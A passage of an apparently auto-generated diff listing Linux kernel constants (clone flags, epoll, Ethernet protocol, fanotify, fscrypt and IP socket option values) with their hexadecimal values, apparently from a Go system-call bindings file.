-+ CLOCK_THREAD_CPUTIME_ID = 0x3
-+ CLOCK_TXFROMRX = 0x4
-+ CLOCK_TXINT = 0x3
-+ CLONE_ARGS_SIZE_VER0 = 0x40
-+ CLONE_ARGS_SIZE_VER1 = 0x50
-+ CLONE_CHILD_CLEARTID = 0x200000
-+ CLONE_CHILD_SETTID = 0x1000000
-+ CLONE_CLEAR_SIGHAND = 0x100000000
-+ CLONE_DETACHED = 0x400000
-+ CLONE_FILES = 0x400
-+ CLONE_FS = 0x200
-+ CLONE_IO = 0x80000000
-+ CLONE_NEWCGROUP = 0x2000000
-+ CLONE_NEWIPC = 0x8000000
-+ CLONE_NEWNET = 0x40000000
-+ CLONE_NEWNS = 0x20000
-+ CLONE_NEWPID = 0x20000000
-+ CLONE_NEWTIME = 0x80
-+ CLONE_NEWUSER = 0x10000000
-+ CLONE_NEWUTS = 0x4000000
-+ CLONE_PARENT = 0x8000
-+ CLONE_PARENT_SETTID = 0x100000
-+ CLONE_PIDFD = 0x1000
-+ CLONE_PTRACE = 0x2000
-+ CLONE_SETTLS = 0x80000
-+ CLONE_SIGHAND = 0x800
-+ CLONE_SYSVSEM = 0x40000
-+ CLONE_THREAD = 0x10000
-+ CLONE_UNTRACED = 0x800000
-+ CLONE_VFORK = 0x4000
-+ CLONE_VM = 0x100
-+ CMSPAR = 0x40000000
-+ CODA_SUPER_MAGIC = 0x73757245
-+ CR0 = 0x0
-+ CRAMFS_MAGIC = 0x28cd3d45
-+ CRTSCTS = 0x80000000
-+ CRYPTO_MAX_NAME = 0x40
-+ CRYPTO_MSG_MAX = 0x15
-+ CRYPTO_NR_MSGTYPES = 0x6
-+ CRYPTO_REPORT_MAXSIZE = 0x160
-+ CS5 = 0x0
-+ CSIGNAL = 0xff
-+ CSTART = 0x11
-+ CSTATUS = 0x0
-+ CSTOP = 0x13
-+ CSUSP = 0x1a
-+ DAXFS_MAGIC = 0x64646178
-+ DEBUGFS_MAGIC = 0x64626720
-+ DEVLINK_CMD_ESWITCH_MODE_GET = 0x1d
-+ DEVLINK_CMD_ESWITCH_MODE_SET = 0x1e
-+ DEVLINK_GENL_MCGRP_CONFIG_NAME = "config"
-+ DEVLINK_GENL_NAME = "devlink"
-+ DEVLINK_GENL_VERSION = 0x1
-+ DEVLINK_SB_THRESHOLD_TO_ALPHA_MAX = 0x14
-+ DEVPTS_SUPER_MAGIC = 0x1cd1
-+ DMA_BUF_MAGIC = 0x444d4142
-+ DT_BLK = 0x6
-+ DT_CHR = 0x2
-+ DT_DIR = 0x4
-+ DT_FIFO = 0x1
-+ DT_LNK = 0xa
-+ DT_REG = 0x8
-+ DT_SOCK = 0xc
-+ DT_UNKNOWN = 0x0
-+ DT_WHT = 0xe
-+ ECHO = 0x8
-+ ECRYPTFS_SUPER_MAGIC = 0xf15f
-+ EFD_SEMAPHORE = 0x1
-+ EFIVARFS_MAGIC = 0xde5e81e4
-+ EFS_SUPER_MAGIC = 0x414a53
-+ ENCODING_DEFAULT = 0x0
-+ ENCODING_FM_MARK = 0x3
-+ ENCODING_FM_SPACE = 0x4
-+ ENCODING_MANCHESTER = 0x5
-+ ENCODING_NRZ = 0x1
-+ ENCODING_NRZI = 0x2
-+ EPOLLERR = 0x8
-+ EPOLLET = 0x80000000
-+ EPOLLEXCLUSIVE = 0x10000000
-+ EPOLLHUP = 0x10
-+ EPOLLIN = 0x1
-+ EPOLLMSG = 0x400
-+ EPOLLONESHOT = 0x40000000
-+ EPOLLOUT = 0x4
-+ EPOLLPRI = 0x2
-+ EPOLLRDBAND = 0x80
-+ EPOLLRDHUP = 0x2000
-+ EPOLLRDNORM = 0x40
-+ EPOLLWAKEUP = 0x20000000
-+ EPOLLWRBAND = 0x200
-+ EPOLLWRNORM = 0x100
-+ EPOLL_CTL_ADD = 0x1
-+ EPOLL_CTL_DEL = 0x2
-+ EPOLL_CTL_MOD = 0x3
-+ EROFS_SUPER_MAGIC_V1 = 0xe0f5e1e2
-+ ETH_P_1588 = 0x88f7
-+ ETH_P_8021AD = 0x88a8
-+ ETH_P_8021AH = 0x88e7
-+ ETH_P_8021Q = 0x8100
-+ ETH_P_80221 = 0x8917
-+ ETH_P_802_2 = 0x4
-+ ETH_P_802_3 = 0x1
-+ ETH_P_802_3_MIN = 0x600
-+ ETH_P_802_EX1 = 0x88b5
-+ ETH_P_AARP = 0x80f3
-+ ETH_P_AF_IUCV = 0xfbfb
-+ ETH_P_ALL = 0x3
-+ ETH_P_AOE = 0x88a2
-+ ETH_P_ARCNET = 0x1a
-+ ETH_P_ARP = 0x806
-+ ETH_P_ATALK = 0x809b
-+ ETH_P_ATMFATE = 0x8884
-+ ETH_P_ATMMPOA = 0x884c
-+ ETH_P_AX25 = 0x2
-+ ETH_P_BATMAN = 0x4305
-+ ETH_P_BPQ = 0x8ff
-+ ETH_P_CAIF = 0xf7
-+ ETH_P_CAN = 0xc
-+ ETH_P_CANFD = 0xd
-+ ETH_P_CONTROL = 0x16
-+ ETH_P_CUST = 0x6006
-+ ETH_P_DDCMP = 0x6
-+ ETH_P_DEC = 0x6000
-+ ETH_P_DIAG = 0x6005
-+ ETH_P_DNA_DL = 0x6001
-+ ETH_P_DNA_RC = 0x6002
-+ ETH_P_DNA_RT = 0x6003
-+ ETH_P_DSA = 0x1b
-+ ETH_P_DSA_8021Q = 0xdadb
-+ ETH_P_ECONET = 0x18
-+ ETH_P_EDSA = 0xdada
-+ ETH_P_ERSPAN = 0x88be
-+ ETH_P_ERSPAN2 = 0x22eb
-+ ETH_P_FCOE = 0x8906
-+ ETH_P_FIP = 0x8914
-+ ETH_P_HDLC = 0x19
-+ ETH_P_HSR = 0x892f
-+ ETH_P_IBOE = 0x8915
-+ ETH_P_IEEE802154 = 0xf6
-+ ETH_P_IEEEPUP = 0xa00
-+ ETH_P_IEEEPUPAT = 0xa01
-+ ETH_P_IFE = 0xed3e
-+ ETH_P_IP = 0x800
-+ ETH_P_IPV6 = 0x86dd
-+ ETH_P_IPX = 0x8137
-+ ETH_P_IRDA = 0x17
-+ ETH_P_LAT = 0x6004
-+ ETH_P_LINK_CTL = 0x886c
-+ ETH_P_LLDP = 0x88cc
-+ ETH_P_LOCALTALK = 0x9
-+ ETH_P_LOOP = 0x60
-+ ETH_P_LOOPBACK = 0x9000
-+ ETH_P_MACSEC = 0x88e5
-+ ETH_P_MAP = 0xf9
-+ ETH_P_MOBITEX = 0x15
-+ ETH_P_MPLS_MC = 0x8848
-+ ETH_P_MPLS_UC = 0x8847
-+ ETH_P_MVRP = 0x88f5
-+ ETH_P_NCSI = 0x88f8
-+ ETH_P_NSH = 0x894f
-+ ETH_P_PAE = 0x888e
-+ ETH_P_PAUSE = 0x8808
-+ ETH_P_PHONET = 0xf5
-+ ETH_P_PPPTALK = 0x10
-+ ETH_P_PPP_DISC = 0x8863
-+ ETH_P_PPP_MP = 0x8
-+ ETH_P_PPP_SES = 0x8864
-+ ETH_P_PREAUTH = 0x88c7
-+ ETH_P_PRP = 0x88fb
-+ ETH_P_PUP = 0x200
-+ ETH_P_PUPAT = 0x201
-+ ETH_P_QINQ1 = 0x9100
-+ ETH_P_QINQ2 = 0x9200
-+ ETH_P_QINQ3 = 0x9300
-+ ETH_P_RARP = 0x8035
-+ ETH_P_SCA = 0x6007
-+ ETH_P_SLOW = 0x8809
-+ ETH_P_SNAP = 0x5
-+ ETH_P_TDLS = 0x890d
-+ ETH_P_TEB = 0x6558
-+ ETH_P_TIPC = 0x88ca
-+ ETH_P_TRAILER = 0x1c
-+ ETH_P_TR_802_2 = 0x11
-+ ETH_P_TSN = 0x22f0
-+ ETH_P_WAN_PPP = 0x7
-+ ETH_P_WCCP = 0x883e
-+ ETH_P_X25 = 0x805
-+ ETH_P_XDSA = 0xf8
-+ EXABYTE_ENABLE_NEST = 0xf0
-+ EXT2_SUPER_MAGIC = 0xef53
-+ EXT3_SUPER_MAGIC = 0xef53
-+ EXT4_SUPER_MAGIC = 0xef53
-+ EXTA = 0xe
-+ EXTB = 0xf
-+ F2FS_SUPER_MAGIC = 0xf2f52010
-+ FALLOC_FL_COLLAPSE_RANGE = 0x8
-+ FALLOC_FL_INSERT_RANGE = 0x20
-+ FALLOC_FL_KEEP_SIZE = 0x1
-+ FALLOC_FL_NO_HIDE_STALE = 0x4
-+ FALLOC_FL_PUNCH_HOLE = 0x2
-+ FALLOC_FL_UNSHARE_RANGE = 0x40
-+ FALLOC_FL_ZERO_RANGE = 0x10
-+ FANOTIFY_METADATA_VERSION = 0x3
-+ FAN_ACCESS = 0x1
-+ FAN_ACCESS_PERM = 0x20000
-+ FAN_ALLOW = 0x1
-+ FAN_ALL_CLASS_BITS = 0xc
-+ FAN_ALL_EVENTS = 0x3b
-+ FAN_ALL_INIT_FLAGS = 0x3f
-+ FAN_ALL_MARK_FLAGS = 0xff
-+ FAN_ALL_OUTGOING_EVENTS = 0x3403b
-+ FAN_ALL_PERM_EVENTS = 0x30000
-+ FAN_ATTRIB = 0x4
-+ FAN_AUDIT = 0x10
-+ FAN_CLASS_CONTENT = 0x4
-+ FAN_CLASS_NOTIF = 0x0
-+ FAN_CLASS_PRE_CONTENT = 0x8
-+ FAN_CLOEXEC = 0x1
-+ FAN_CLOSE = 0x18
-+ FAN_CLOSE_NOWRITE = 0x10
-+ FAN_CLOSE_WRITE = 0x8
-+ FAN_CREATE = 0x100
-+ FAN_DELETE = 0x200
-+ FAN_DELETE_SELF = 0x400
-+ FAN_DENY = 0x2
-+ FAN_ENABLE_AUDIT = 0x40
-+ FAN_EVENT_INFO_TYPE_FID = 0x1
-+ FAN_EVENT_METADATA_LEN = 0x18
-+ FAN_EVENT_ON_CHILD = 0x8000000
-+ FAN_MARK_ADD = 0x1
-+ FAN_MARK_DONT_FOLLOW = 0x4
-+ FAN_MARK_FILESYSTEM = 0x100
-+ FAN_MARK_FLUSH = 0x80
-+ FAN_MARK_IGNORED_MASK = 0x20
-+ FAN_MARK_IGNORED_SURV_MODIFY = 0x40
-+ FAN_MARK_INODE = 0x0
-+ FAN_MARK_MOUNT = 0x10
-+ FAN_MARK_ONLYDIR = 0x8
-+ FAN_MARK_REMOVE = 0x2
-+ FAN_MODIFY = 0x2
-+ FAN_MOVE = 0xc0
-+ FAN_MOVED_FROM = 0x40
-+ FAN_MOVED_TO = 0x80
-+ FAN_MOVE_SELF = 0x800
-+ FAN_NOFD = -0x1
-+ FAN_NONBLOCK = 0x2
-+ FAN_ONDIR = 0x40000000
-+ FAN_OPEN = 0x20
-+ FAN_OPEN_EXEC = 0x1000
-+ FAN_OPEN_EXEC_PERM = 0x40000
-+ FAN_OPEN_PERM = 0x10000
-+ FAN_Q_OVERFLOW = 0x4000
-+ FAN_REPORT_FID = 0x200
-+ FAN_REPORT_TID = 0x100
-+ FAN_UNLIMITED_MARKS = 0x20
-+ FAN_UNLIMITED_QUEUE = 0x10
-+ FD_CLOEXEC = 0x1
-+ FD_SETSIZE = 0x400
-+ FF0 = 0x0
-+ FSCRYPT_KEY_DESCRIPTOR_SIZE = 0x8
-+ FSCRYPT_KEY_DESC_PREFIX = "fscrypt:"
-+ FSCRYPT_KEY_DESC_PREFIX_SIZE = 0x8
-+ FSCRYPT_KEY_IDENTIFIER_SIZE = 0x10
-+ FSCRYPT_KEY_REMOVAL_STATUS_FLAG_FILES_BUSY = 0x1
-+ FSCRYPT_KEY_REMOVAL_STATUS_FLAG_OTHER_USERS = 0x2
-+ FSCRYPT_KEY_SPEC_TYPE_DESCRIPTOR = 0x1
-+ FSCRYPT_KEY_SPEC_TYPE_IDENTIFIER = 0x2
-+ FSCRYPT_KEY_STATUS_ABSENT = 0x1
-+ FSCRYPT_KEY_STATUS_FLAG_ADDED_BY_SELF = 0x1
-+ FSCRYPT_KEY_STATUS_INCOMPLETELY_REMOVED = 0x3
-+ FSCRYPT_KEY_STATUS_PRESENT = 0x2
-+ FSCRYPT_MAX_KEY_SIZE = 0x40
-+ FSCRYPT_MODE_ADIANTUM = 0x9
-+ FSCRYPT_MODE_AES_128_CBC = 0x5
-+ FSCRYPT_MODE_AES_128_CTS = 0x6
-+ FSCRYPT_MODE_AES_256_CTS = 0x4
-+ FSCRYPT_MODE_AES_256_XTS = 0x1
-+ FSCRYPT_POLICY_FLAGS_PAD_16 = 0x2
-+ FSCRYPT_POLICY_FLAGS_PAD_32 = 0x3
-+ FSCRYPT_POLICY_FLAGS_PAD_4 = 0x0
-+ FSCRYPT_POLICY_FLAGS_PAD_8 = 0x1
-+ FSCRYPT_POLICY_FLAGS_PAD_MASK = 0x3
-+ FSCRYPT_POLICY_FLAGS_VALID = 0xf
-+ FSCRYPT_POLICY_FLAG_DIRECT_KEY = 0x4
-+ FSCRYPT_POLICY_FLAG_IV_INO_LBLK_64 = 0x8
-+ FSCRYPT_POLICY_V1 = 0x0
-+ FSCRYPT_POLICY_V2 = 0x2
-+ FS_ENCRYPTION_MODE_ADIANTUM = 0x9
-+ FS_ENCRYPTION_MODE_AES_128_CBC = 0x5
-+ FS_ENCRYPTION_MODE_AES_128_CTS = 0x6
-+ FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-+ FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-+ FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-+ FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-+ FS_ENCRYPTION_MODE_INVALID = 0x0
-+ FS_ENCRYPTION_MODE_SPECK128_256_CTS = 0x8
-+ FS_ENCRYPTION_MODE_SPECK128_256_XTS = 0x7
-+ FS_IOC_ADD_ENCRYPTION_KEY = 0xc0506617
-+ FS_IOC_GET_ENCRYPTION_KEY_STATUS = 0xc080661a
-+ FS_IOC_GET_ENCRYPTION_POLICY_EX = 0xc0096616
-+ FS_IOC_MEASURE_VERITY = 0xc0046686
-+ FS_IOC_REMOVE_ENCRYPTION_KEY = 0xc0406618
-+ FS_IOC_REMOVE_ENCRYPTION_KEY_ALL_USERS = 0xc0406619
-+ FS_KEY_DESCRIPTOR_SIZE = 0x8
-+ FS_KEY_DESC_PREFIX = "fscrypt:"
-+ FS_KEY_DESC_PREFIX_SIZE = 0x8
-+ FS_MAX_KEY_SIZE = 0x40
-+ FS_POLICY_FLAGS_PAD_16 = 0x2
-+ FS_POLICY_FLAGS_PAD_32 = 0x3
-+ FS_POLICY_FLAGS_PAD_4 = 0x0
-+ FS_POLICY_FLAGS_PAD_8 = 0x1
-+ FS_POLICY_FLAGS_PAD_MASK = 0x3
-+ FS_POLICY_FLAGS_VALID = 0xf
-+ FS_VERITY_FL = 0x100000
-+ FS_VERITY_HASH_ALG_SHA256 = 0x1
-+ FS_VERITY_HASH_ALG_SHA512 = 0x2
-+ FUTEXFS_SUPER_MAGIC = 0xbad1dea
-+ F_ADD_SEALS = 0x409
-+ F_DUPFD = 0x0
-+ F_DUPFD_CLOEXEC = 0x406
-+ F_EXLCK = 0x4
-+ F_GETFD = 0x1
-+ F_GETFL = 0x3
-+ F_GETLEASE = 0x401
-+ F_GETOWN_EX = 0x10
-+ F_GETPIPE_SZ = 0x408
-+ F_GETSIG = 0xb
-+ F_GET_FILE_RW_HINT = 0x40d
-+ F_GET_RW_HINT = 0x40b
-+ F_GET_SEALS = 0x40a
-+ F_LOCK = 0x1
-+ F_NOTIFY = 0x402
-+ F_OFD_GETLK = 0x24
-+ F_OFD_SETLK = 0x25
-+ F_OFD_SETLKW = 0x26
-+ F_OK = 0x0
-+ F_SEAL_FUTURE_WRITE = 0x10
-+ F_SEAL_GROW = 0x4
-+ F_SEAL_SEAL = 0x1
-+ F_SEAL_SHRINK = 0x2
-+ F_SEAL_WRITE = 0x8
-+ F_SETFD = 0x2
-+ F_SETFL = 0x4
-+ F_SETLEASE = 0x400
-+ F_SETOWN_EX = 0xf
-+ F_SETPIPE_SZ = 0x407
-+ F_SETSIG = 0xa
-+ F_SET_FILE_RW_HINT = 0x40e
-+ F_SET_RW_HINT = 0x40c
-+ F_SHLCK = 0x8
-+ F_TEST = 0x3
-+ F_TLOCK = 0x2
-+ F_ULOCK = 0x0
-+ GENL_ADMIN_PERM = 0x1
-+ GENL_CMD_CAP_DO = 0x2
-+ GENL_CMD_CAP_DUMP = 0x4
-+ GENL_CMD_CAP_HASPOL = 0x8
-+ GENL_HDRLEN = 0x4
-+ GENL_ID_CTRL = 0x10
-+ GENL_ID_PMCRAID = 0x12
-+ GENL_ID_VFS_DQUOT = 0x11
-+ GENL_MAX_ID = 0x3ff
-+ GENL_MIN_ID = 0x10
-+ GENL_NAMSIZ = 0x10
-+ GENL_START_ALLOC = 0x13
-+ GENL_UNS_ADMIN_PERM = 0x10
-+ GRND_INSECURE = 0x4
-+ GRND_NONBLOCK = 0x1
-+ GRND_RANDOM = 0x2
-+ HDIO_DRIVE_CMD = 0x31f
-+ HDIO_DRIVE_CMD_AEB = 0x31e
-+ HDIO_DRIVE_CMD_HDR_SIZE = 0x4
-+ HDIO_DRIVE_HOB_HDR_SIZE = 0x8
-+ HDIO_DRIVE_RESET = 0x31c
-+ HDIO_DRIVE_TASK = 0x31e
-+ HDIO_DRIVE_TASKFILE = 0x31d
-+ HDIO_DRIVE_TASK_HDR_SIZE = 0x8
-+ HDIO_GETGEO = 0x301
-+ HDIO_GET_32BIT = 0x309
-+ HDIO_GET_ACOUSTIC = 0x30f
-+ HDIO_GET_ADDRESS = 0x310
-+ HDIO_GET_BUSSTATE = 0x31a
-+ HDIO_GET_DMA = 0x30b
-+ HDIO_GET_IDENTITY = 0x30d
-+ HDIO_GET_KEEPSETTINGS = 0x308
-+ HDIO_GET_MULTCOUNT = 0x304
-+ HDIO_GET_NICE = 0x30c
-+ HDIO_GET_NOWERR = 0x30a
-+ HDIO_GET_QDMA = 0x305
-+ HDIO_GET_UNMASKINTR = 0x302
-+ HDIO_GET_WCACHE = 0x30e
-+ HDIO_OBSOLETE_IDENTITY = 0x307
-+ HDIO_SCAN_HWIF = 0x328
-+ HDIO_SET_32BIT = 0x324
-+ HDIO_SET_ACOUSTIC = 0x32c
-+ HDIO_SET_ADDRESS = 0x32f
-+ HDIO_SET_BUSSTATE = 0x32d
-+ HDIO_SET_DMA = 0x326
-+ HDIO_SET_KEEPSETTINGS = 0x323
-+ HDIO_SET_MULTCOUNT = 0x321
-+ HDIO_SET_NICE = 0x329
-+ HDIO_SET_NOWERR = 0x325
-+ HDIO_SET_PIO_MODE = 0x327
-+ HDIO_SET_QDMA = 0x32e
-+ HDIO_SET_UNMASKINTR = 0x322
-+ HDIO_SET_WCACHE = 0x32b
-+ HDIO_SET_XFER = 0x306
-+ HDIO_TRISTATE_HWIF = 0x31b
-+ HDIO_UNREGISTER_HWIF = 0x32a
-+ HOSTFS_SUPER_MAGIC = 0xc0ffee
-+ HPFS_SUPER_MAGIC = 0xf995e849
-+ HUGETLBFS_MAGIC = 0x958458f6
-+ IBSHIFT = 0x10
-+ ICMPV6_FILTER = 0x1
-+ ICRNL = 0x100
-+ IFA_F_DADFAILED = 0x8
-+ IFA_F_DEPRECATED = 0x20
-+ IFA_F_HOMEADDRESS = 0x10
-+ IFA_F_MANAGETEMPADDR = 0x100
-+ IFA_F_MCAUTOJOIN = 0x400
-+ IFA_F_NODAD = 0x2
-+ IFA_F_NOPREFIXROUTE = 0x200
-+ IFA_F_OPTIMISTIC = 0x4
-+ IFA_F_PERMANENT = 0x80
-+ IFA_F_SECONDARY = 0x1
-+ IFA_F_STABLE_PRIVACY = 0x800
-+ IFA_F_TEMPORARY = 0x1
-+ IFA_F_TENTATIVE = 0x40
-+ IFA_MAX = 0xa
-+ IFF_ALLMULTI = 0x200
-+ IFF_ATTACH_QUEUE = 0x200
-+ IFF_AUTOMEDIA = 0x4000
-+ IFF_BROADCAST = 0x2
-+ IFF_DEBUG = 0x4
-+ IFF_DETACH_QUEUE = 0x400
-+ IFF_DORMANT = 0x20000
-+ IFF_DYNAMIC = 0x8000
-+ IFF_ECHO = 0x40000
-+ IFF_LOOPBACK = 0x8
-+ IFF_LOWER_UP = 0x10000
-+ IFF_MASTER = 0x400
-+ IFF_MULTICAST = 0x1000
-+ IFF_MULTI_QUEUE = 0x100
-+ IFF_NAPI = 0x10
-+ IFF_NAPI_FRAGS = 0x20
-+ IFF_NOARP = 0x80
-+ IFF_NOFILTER = 0x1000
-+ IFF_NOTRAILERS = 0x20
-+ IFF_NO_PI = 0x1000
-+ IFF_ONE_QUEUE = 0x2000
-+ IFF_PERSIST = 0x800
-+ IFF_POINTOPOINT = 0x10
-+ IFF_PORTSEL = 0x2000
-+ IFF_PROMISC = 0x100
-+ IFF_RUNNING = 0x40
-+ IFF_SLAVE = 0x800
-+ IFF_TAP = 0x2
-+ IFF_TUN = 0x1
-+ IFF_TUN_EXCL = 0x8000
-+ IFF_UP = 0x1
-+ IFF_VNET_HDR = 0x4000
-+ IFF_VOLATILE = 0x70c5a
-+ IFNAMSIZ = 0x10
-+ IGNBRK = 0x1
-+ IGNCR = 0x80
-+ IGNPAR = 0x4
-+ IMAXBEL = 0x2000
-+ INLCR = 0x40
-+ INPCK = 0x10
-+ IN_ACCESS = 0x1
-+ IN_ALL_EVENTS = 0xfff
-+ IN_ATTRIB = 0x4
-+ IN_CLASSA_HOST = 0xffffff
-+ IN_CLASSA_MAX = 0x80
-+ IN_CLASSA_NET = 0xff000000
-+ IN_CLASSA_NSHIFT = 0x18
-+ IN_CLASSB_HOST = 0xffff
-+ IN_CLASSB_MAX = 0x10000
-+ IN_CLASSB_NET = 0xffff0000
-+ IN_CLASSB_NSHIFT = 0x10
-+ IN_CLASSC_HOST = 0xff
-+ IN_CLASSC_NET = 0xffffff00
-+ IN_CLASSC_NSHIFT = 0x8
-+ IN_CLOSE = 0x18
-+ IN_CLOSE_NOWRITE = 0x10
-+ IN_CLOSE_WRITE = 0x8
-+ IN_CREATE = 0x100
-+ IN_DELETE = 0x200
-+ IN_DELETE_SELF = 0x400
-+ IN_DONT_FOLLOW = 0x2000000
-+ IN_EXCL_UNLINK = 0x4000000
-+ IN_IGNORED = 0x8000
-+ IN_ISDIR = 0x40000000
-+ IN_LOOPBACKNET = 0x7f
-+ IN_MASK_ADD = 0x20000000
-+ IN_MASK_CREATE = 0x10000000
-+ IN_MODIFY = 0x2
-+ IN_MOVE = 0xc0
-+ IN_MOVED_FROM = 0x40
-+ IN_MOVED_TO = 0x80
-+ IN_MOVE_SELF = 0x800
-+ IN_ONESHOT = 0x80000000
-+ IN_ONLYDIR = 0x1000000
-+ IN_OPEN = 0x20
-+ IN_Q_OVERFLOW = 0x4000
-+ IN_UNMOUNT = 0x2000
-+ IPPROTO_AH = 0x33
-+ IPPROTO_BEETPH = 0x5e
-+ IPPROTO_COMP = 0x6c
-+ IPPROTO_DCCP = 0x21
-+ IPPROTO_DSTOPTS = 0x3c
-+ IPPROTO_EGP = 0x8
-+ IPPROTO_ENCAP = 0x62
-+ IPPROTO_ESP = 0x32
-+ IPPROTO_FRAGMENT = 0x2c
-+ IPPROTO_GRE = 0x2f
-+ IPPROTO_HOPOPTS = 0x0
-+ IPPROTO_ICMP = 0x1
-+ IPPROTO_ICMPV6 = 0x3a
-+ IPPROTO_IDP = 0x16
-+ IPPROTO_IGMP = 0x2
-+ IPPROTO_IP = 0x0
-+ IPPROTO_IPIP = 0x4
-+ IPPROTO_IPV6 = 0x29
-+ IPPROTO_L2TP = 0x73
-+ IPPROTO_MH = 0x87
-+ IPPROTO_MPLS = 0x89
-+ IPPROTO_MTP = 0x5c
-+ IPPROTO_NONE = 0x3b
-+ IPPROTO_PIM = 0x67
-+ IPPROTO_PUP = 0xc
-+ IPPROTO_RAW = 0xff
-+ IPPROTO_ROUTING = 0x2b
-+ IPPROTO_RSVP = 0x2e
-+ IPPROTO_SCTP = 0x84
-+ IPPROTO_TCP = 0x6
-+ IPPROTO_TP = 0x1d
-+ IPPROTO_UDP = 0x11
-+ IPPROTO_UDPLITE = 0x88
-+ IPV6_2292DSTOPTS = 0x4
-+ IPV6_2292HOPLIMIT = 0x8
-+ IPV6_2292HOPOPTS = 0x3
-+ IPV6_2292PKTINFO = 0x2
-+ IPV6_2292PKTOPTIONS = 0x6
-+ IPV6_2292RTHDR = 0x5
-+ IPV6_ADDRFORM = 0x1
-+ IPV6_ADDR_PREFERENCES = 0x48
-+ IPV6_ADD_MEMBERSHIP = 0x14
-+ IPV6_AUTHHDR = 0xa
-+ IPV6_AUTOFLOWLABEL = 0x46
-+ IPV6_CHECKSUM = 0x7
-+ IPV6_DONTFRAG = 0x3e
-+ IPV6_DROP_MEMBERSHIP = 0x15
-+ IPV6_DSTOPTS = 0x3b
-+ IPV6_FREEBIND = 0x4e
-+ IPV6_HDRINCL = 0x24
-+ IPV6_HOPLIMIT = 0x34
-+ IPV6_HOPOPTS = 0x36
-+ IPV6_IPSEC_POLICY = 0x22
-+ IPV6_JOIN_ANYCAST = 0x1b
-+ IPV6_JOIN_GROUP = 0x14
-+ IPV6_LEAVE_ANYCAST = 0x1c
-+ IPV6_LEAVE_GROUP = 0x15
-+ IPV6_MINHOPCOUNT = 0x49
-+ IPV6_MTU = 0x18
-+ IPV6_MTU_DISCOVER = 0x17
-+ IPV6_MULTICAST_ALL = 0x1d
-+ IPV6_MULTICAST_HOPS = 0x12
-+ IPV6_MULTICAST_IF = 0x11
-+ IPV6_MULTICAST_LOOP = 0x13
-+ IPV6_NEXTHOP = 0x9
-+ IPV6_ORIGDSTADDR = 0x4a
-+ IPV6_PATHMTU = 0x3d
-+ IPV6_PKTINFO = 0x32
-+ IPV6_PMTUDISC_DO = 0x2
-+ IPV6_PMTUDISC_DONT = 0x0
-+ IPV6_PMTUDISC_INTERFACE = 0x4
-+ IPV6_PMTUDISC_OMIT = 0x5
-+ IPV6_PMTUDISC_PROBE = 0x3
-+ IPV6_PMTUDISC_WANT = 0x1
-+ IPV6_RECVDSTOPTS = 0x3a
-+ IPV6_RECVERR = 0x19
-+ IPV6_RECVFRAGSIZE = 0x4d
-+ IPV6_RECVHOPLIMIT = 0x33
-+ IPV6_RECVHOPOPTS = 0x35
-+ IPV6_RECVORIGDSTADDR = 0x4a
-+ IPV6_RECVPATHMTU = 0x3c
-+ IPV6_RECVPKTINFO = 0x31
-+ IPV6_RECVRTHDR = 0x38
-+ IPV6_RECVTCLASS = 0x42
-+ IPV6_ROUTER_ALERT = 0x16
-+ IPV6_ROUTER_ALERT_ISOLATE = 0x1e
-+ IPV6_RTHDR = 0x39
-+ IPV6_RTHDRDSTOPTS = 0x37
-+ IPV6_RTHDR_LOOSE = 0x0
-+ IPV6_RTHDR_STRICT = 0x1
-+ IPV6_RTHDR_TYPE_0 = 0x0
-+ IPV6_RXDSTOPTS = 0x3b
-+ IPV6_RXHOPOPTS = 0x36
-+ IPV6_TCLASS = 0x43
-+ IPV6_TRANSPARENT = 0x4b
-+ IPV6_UNICAST_HOPS = 0x10
-+ IPV6_UNICAST_IF = 0x4c
-+ IPV6_V6ONLY = 0x1a
-+ IPV6_XFRM_POLICY = 0x23
-+ IP_ADD_MEMBERSHIP = 0x23
-+ IP_ADD_SOURCE_MEMBERSHIP = 0x27
-+ IP_BIND_ADDRESS_NO_PORT = 0x18
-+ IP_BLOCK_SOURCE = 0x26
-+ IP_CHECKSUM = 0x17
-+ IP_DEFAULT_MULTICAST_LOOP = 0x1
-+ IP_DEFAULT_MULTICAST_TTL = 0x1
-+ IP_DF = 0x4000
-+ IP_DROP_MEMBERSHIP = 0x24
-+ IP_DROP_SOURCE_MEMBERSHIP = 0x28
-+ IP_FREEBIND = 0xf
-+ IP_HDRINCL = 0x3
-+ IP_IPSEC_POLICY = 0x10
-+ IP_MAXPACKET = 0xffff
-+ IP_MAX_MEMBERSHIPS = 0x14
-+ IP_MF = 0x2000
-+ IP_MINTTL = 0x15
-+ IP_MSFILTER = 0x29
-+ IP_MSS = 0x240
-+ IP_MTU = 0xe
-+ IP_MTU_DISCOVER = 0xa
-+ IP_MULTICAST_ALL = 0x31
-+ IP_MULTICAST_IF = 0x20
-+ IP_MULTICAST_LOOP = 0x22
-+ IP_MULTICAST_TTL = 0x21
-+ IP_NODEFRAG = 0x16
-+ IP_OFFMASK = 0x1fff
-+ IP_OPTIONS = 0x4
-+ IP_ORIGDSTADDR = 0x14
-+ IP_PASSSEC = 0x12
-+ IP_PKTINFO = 0x8
-+ IP_PKTOPTIONS = 0x9
-+ IP_PMTUDISC = 0xa
-+ IP_PMTUDISC_DO = 0x2
-+ IP_PMTUDISC_DONT = 0x0
-+ IP_PMTUDISC_INTERFACE = 0x4
-+ IP_PMTUDISC_OMIT = 0x5
-+ IP_PMTUDISC_PROBE = 0x3
-+ IP_PMTUDISC_WANT = 0x1
-+ IP_RECVERR = 0xb
-+ IP_RECVFRAGSIZE = 0x19
-+ IP_RECVOPTS = 0x6
-+ IP_RECVORIGDSTADDR = 0x14
-+ IP_RECVRETOPTS = 0x7
-+ IP_RECVTOS = 0xd
-+ IP_RECVTTL = 0xc
-+ IP_RETOPTS = 0x7
-+ IP_RF = 0x8000
-+ IP_ROUTER_ALERT = 0x5
-+ IP_TOS = 0x1
-+ IP_TRANSPARENT = 0x13
-+ IP_TTL = 0x2
-+ IP_UNBLOCK_SOURCE = 0x25
-+ IP_UNICAST_IF = 0x32
-+ IP_XFRM_POLICY = 0x11
-+ ISOFS_SUPER_MAGIC = 0x9660
-+ ISTRIP = 0x20
-+ IUTF8 = 0x4000
-+ IXANY = 0x800
-+ JFFS2_SUPER_MAGIC = 0x72b6
-+ KEXEC_ARCH_386 = 0x30000
-+ KEXEC_ARCH_68K = 0x40000
-+ KEXEC_ARCH_AARCH64 = 0xb70000
-+ KEXEC_ARCH_ARM = 0x280000
